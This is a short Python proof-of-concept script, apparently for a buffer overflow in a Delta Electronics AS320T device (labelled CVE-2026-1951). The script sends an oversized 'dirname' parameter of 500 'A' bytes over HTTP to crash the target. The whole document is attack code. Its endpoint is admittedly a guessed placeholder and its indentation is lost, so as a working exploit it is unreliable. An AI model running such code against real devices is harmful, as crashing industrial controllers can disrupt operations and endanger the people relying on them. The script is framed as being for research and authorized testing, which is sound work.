The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-1951: Delta Electronics AS320T Buffer Overflow
# This script demonstrates the buffer overflow by sending a long directory name.
import socket
def send_exploit(target_ip, target_port):
# Payload: A long string of 'A's to trigger the buffer overflow
# Adjust length based on specific buffer size (e.g., 500 bytes)
payload = b"A" * 500
# Construct a malicious request targeting the vulnerable directory parameter
# Note: The actual HTTP endpoint or protocol syntax may vary.
request = b"GET /vulnerable_path?dirname=" + payload + b" HTTP/1.1\r\n"
request += b"Host: " + target_ip.encode() + b"\r\n\r\n"
try:
print(f"[*] Sending payload to {target_ip}:{target_port}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
s.send(request)
s.close()
print("[+] Payload sent successfully. Check if the device crashes or responds abnormally.")
except Exception as e:
print(f"[-] Connection failed: {e}")
if __name__ == "__main__":
target = "192.168.1.10" # Replace with actual target IP
port = 80 # Replace with actual service port
send_exploit(target, port)